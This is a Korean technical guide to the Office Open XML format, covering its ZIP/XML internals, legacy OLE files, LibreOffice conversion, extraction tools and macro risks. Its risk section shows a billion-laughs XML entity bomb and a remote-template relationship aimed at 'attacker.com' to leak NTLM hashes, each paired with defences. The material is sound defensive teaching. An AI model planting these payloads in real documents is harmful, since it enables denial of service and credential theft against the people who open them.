📁 File5. 애플리케이션 파일02 · Office Open XML (OOXML)

02 · Office Open XML (OOXML)

이 문서가 답하는 질문: .docx 는 왜 unzip 으로 풀리는가? 레거시 .doc 과 무엇이 다른가? 서버에서 어떻게 변환하는가? MIME: application/vnd.openxmlformats-officedocument.* · 표준: ECMA-376, ISO/IEC 29500


한 줄 답 (Pyramid Top)

.docx / .xlsx / .pptxZIP 컨테이너 안에 XML 파일들 — 이미지/스타일/콘텐츠가 디렉토리로 분리되어 있다. 레거시 .doc / .xls / .pptOLE 컴파운드 — 한 파일이 작은 파일시스템처럼 동작한다. 두 세계의 다리는 LibreOffice headless 한 줄이다.


Why — 왜 OOXML 로 갔는가

옛 세상 — OLE Compound File Binary (CFB)

1997년 Office 97 부터 .docMicrosoft Compound File 포맷이었다. 한 파일이 마치 작은 FAT 파일시스템:

  • 매직: D0 CF 11 E0 A1 B1 1A E1
  • 내부에 “Streams”(파일)와 “Storages”(폴더)
  • 각 스트림은 바이너리 (사람이 못 읽음)

문제:

  • 사양이 비공개 (1997~2008)
  • 호환 구현이 사실상 불가능 → 벤더 락인
  • EU / 정부 기관이 표준 강제 (ODF 채택 압력)

새 세상 — Office Open XML (2007~)

Microsoft 가 ECMA 에 제출 → 2006년 ECMA-376 → 2008년 ISO/IEC 29500.

핵심 결정 3가지:

  1. ZIP 컨테이너 — 파일을 디렉토리로 분리, 이미지는 PNG/JPEG 그대로.
  2. XML 콘텐츠 — 사람이 읽을 수 있고, XSD 로 검증 가능.
  3. Open Packaging Conventions (OPC)[Content_Types].xml + _rels/ 로 관계 표현.

이제 누구나 unzip 만 있으면 내부를 본다.


How — unzip -l 로 본 docx 내부

docx 한 개 풀어보기

$ cp report.docx report.zip
$ unzip -l report.zip
Archive:  report.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
     1234  2026-05-10 10:00   [Content_Types].xml
      590  2026-05-10 10:00   _rels/.rels
    24567  2026-05-10 10:00   word/document.xml
     3456  2026-05-10 10:00   word/styles.xml
      890  2026-05-10 10:00   word/settings.xml
     1234  2026-05-10 10:00   word/fontTable.xml
   245678  2026-05-10 10:00   word/media/image1.png
    12345  2026-05-10 10:00   word/media/image2.jpeg
      567  2026-05-10 10:00   word/_rels/document.xml.rels
      234  2026-05-10 10:00   docProps/core.xml
      345  2026-05-10 10:00   docProps/app.xml
---------                     -------
   290140                     11 files

핵심 4 파일

경로의미
[Content_Types].xml전체 파일의 MIME 매핑
_rels/.rels패키지 루트 → word/document.xml 가 메인이라는 선언
word/document.xml본문 콘텐츠 (단락·표·그림 참조)
word/_rels/document.xml.rels본문에서 참조하는 이미지/외부 링크 매핑

콘텐츠 XML 의 모양

<w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main">
  <w:body>
    <w:p>
      <w:pPr><w:pStyle w:val="Heading1"/></w:pPr>
      <w:r>
        <w:t>2026 Quarterly Report</w:t>
      </w:r>
    </w:p>
    <w:p>
      <w:r>
        <w:drawing>
          <wp:inline>
            <a:blip r:embed="rId4"/>   {/* 이미지 참조 */}
          </wp:inline>
        </w:drawing>
      </w:r>
    </w:p>
  </w:body>
</w:document>

r:embed="rId4"_rels/document.xml.relsId="rId4" 를 찾아가고, 거기에 Target="media/image1.png" 가 적혀있다. 텍스트 / 스타일 / 이미지 / 관계 가 깨끗하게 분리된 4-레이어 모델.

xlsx 와 pptx 의 차이

포맷메인 콘텐츠특이점
docxword/document.xmlHeading1 같은 스타일 트리
xlsxxl/workbook.xml + xl/worksheets/sheet1.xmlshared strings 풀 (xl/sharedStrings.xml)
pptxppt/slides/slide1.xml, slide2.xml슬라이드별 1 파일, 마스터 분리

xlsx 의 sharedStrings.xml 트릭: 같은 문자열 “총합”이 1000번 나오면 한 번만 저장하고 인덱스로 참조.


What — 변환 도구 / 추출 / 매크로

LibreOffice headless — 사실상의 표준 변환기

서버에서 docx → PDF, xlsx → CSV 변환의 기본 도구.

# docx → PDF
$ libreoffice --headless --convert-to pdf report.docx
convert /tmp/report.docx -> /tmp/report.pdf using filter : writer_pdf_Export
 
# xlsx → CSV (시트 1만)
$ libreoffice --headless --convert-to csv data.xlsx
 
# pptx → PNG (모든 슬라이드)
$ libreoffice --headless --convert-to png deck.pptx

주의: 동시 호출 시 같은 프로파일 디렉토리를 잠근다. --user-profile 로 격리:

libreoffice --headless \
  -env:UserInstallation=file:///tmp/lo-$$ \
  --convert-to pdf \
  --outdir /tmp/out \
  /tmp/in/report.docx

텍스트 추출 — 가벼운 도구

도구대상비고
python-docxdocx 만표/스타일 그대로
mammothdocx → HTML/Markdown의미 보존 우수
openpyxlxlsx셀 값 / 수식
pandas.read_excelxlsx/xls데이터프레임
python-pptxpptx슬라이드 단위 텍스트
Apache Tika전부자바, 메타데이터 + 본문
# Tika 한 번으로 메타 + 본문
$ tika --metadata report.docx
Content-Type: application/vnd.openxmlformats-officedocument.wordprocessingml.document
Application-Name: Microsoft Office Word
Author: Finance Team
Last-Modified: 2026-05-10T10:00:00Z
Page-Count: 12
Word-Count: 2847
 
$ tika --text report.docx | head -3
2026 Quarterly Report
Executive Summary
This quarter we observed...

매크로 — VBA 는 OOXML 에서도 살아있다

.docm, .xlsm, .pptmm = macro-enabled. ZIP 안에 vbaProject.bin 추가됨.

$ unzip -l invoice.xlsm | grep vba
   45678  2026-05-10 10:00   xl/vbaProject.bin 위험 신호

대응: 업로드 시 .docm/.xlsm/.pptm 거부, 또는 vbaProject.bin 검출 시 격리.

OLE 레거시 — 만나면 변환

.doc / .xls / .ppt 는 매직만 봐도 식별:

$ xxd legacy.doc | head -1
00000000: d0cf 11e0 a1b1 1ae1 0000 0000 0000 0000  ................

이 매직은 .doc 만이 아니라 .msi, .msg (Outlook), .xls, .ppt 모두 공유 → 확장자/내용 추가 검사 필요.


What-if — 잘못 다루면

1) docx 라고 받았는데 OLE .doc

업로드 검증을 확장자로만 하면 OLE .doc 가 통과. 대응: 매직 검사 (PK\x03\x04 vs D0 CF 11 E0).

2) ZIP 안의 XML billion-laughs

OOXML 도 결국 XML — 외부 엔티티 / 재귀 엔티티 폭탄 가능:

<!DOCTYPE x [
  <!ENTITY a "x">
  <!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
  <!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
  ... 10번 더
]>
<doc>&j;</doc>   {/* 10^10 글자 */}

대응: XML 파서에서 외부 엔티티 비활성 (disable_entities=True), 깊이 한계.

3) 외부 링크 / 원격 템플릿

docx 의 _rels/document.xml.relsTargetMode="External" 로 원격 템플릿:

<Relationship Id="rId99" Type=".../attachedTemplate"
  Target="https://attacker.com/template.dotx"
  TargetMode="External"/>

Word 가 열 때 자동 fetch → SMB/HTTP NTLM 해시 유출. 대응: 업로드된 docx 의 _rels 파일에서 TargetMode="External" 검출.

4) LibreOffice 동시 실행 락

--user-profile 분리 안 하면 두 번째 호출이 무한 대기. 프로덕션은 컨테이너 + 프로파일 디렉토리 격리.

5) 한글 폰트 미설치

서버에서 docx → PDF 변환 시 한글 폰트가 없으면 □□□. 대응: 컨테이너 이미지에 fonts-noto-cjk 등 한국어 폰트 패키지 포함.

6) Excel 의 자동 형변환

"01234" 가 숫자 1234 로 변환 (앞의 0 손실), "1/2" 가 날짜 1월 2일. 대응: openpyxl 등으로 텍스트 모드로 읽고 검증.


Insight — 흥미로운 이야기

“OOXML 표준화는 ISO 역사상 가장 시끄러운 표결”

2007년 ISO 표준 표결에서 OOXML 이 부결되자 Microsoft 가 6개월 안에 6,000+ 페이지 사양을 수정. 노르웨이 / 영국 표준 기관이 절차 항의 → 일부 국가가 찬성표를 회수 → 그래도 통과. 결과: ISO/IEC 29500 은 통과했지만 “표준화 절차의 신뢰가 깨졌다” 는 평가.

“docx 가 빠르게 퍼진 진짜 이유”

표준 때문이 아니라 이메일 첨부 크기 때문. 같은 문서가 .doc 1.2MB → .docx 250KB (이미지가 PNG 그대로 압축, 텍스트가 ZIP 압축). 메일 첨부 한도(10MB)를 자주 초과하던 사용자가 자발적으로 변환 → 보급 가속.

“OLE Compound 는 사실상 작은 NTFS”

Microsoft 가 1992년 만든 Compound File 은 FAT 기반 미니 파일시스템. 헤더에 sector size, FAT chain, mini-stream pool 까지 있음. “한 파일을 파일시스템처럼” — 이 패턴은 나중에 OneNote .one, Outlook .pst 에 그대로 재사용.

“왜 ECMA-376 와 ISO/IEC 29500 둘이 있는가”

ECMA-376 은 Microsoft 의 Office 호환 사양 (Transitional). ISO/IEC 29500 은 그것을 정제한 Strict 모드 — 일부 레거시 기능 제거. 실제 Office 가 저장하는 것은 99.9% Transitional. Strict 는 표준의 이상이고 현실은 Transitional.


요약 + Mermaid

OOXML 은 ZIP + XML + 관계 그래프(OPC) — 누구나 unzip 으로 풀어볼 수 있다. 레거시 OLE 는 한 파일 안의 미니 파일시스템 — 사양 비공개 시기를 거쳐 OOXML 로 대체되는 중. 서버 측 변환의 사실상 표준은 LibreOffice headless, 가벼운 추출은 Tika / mammoth / openpyxl. 매크로(.docm)와 외부 링크는 보안 검토 필수.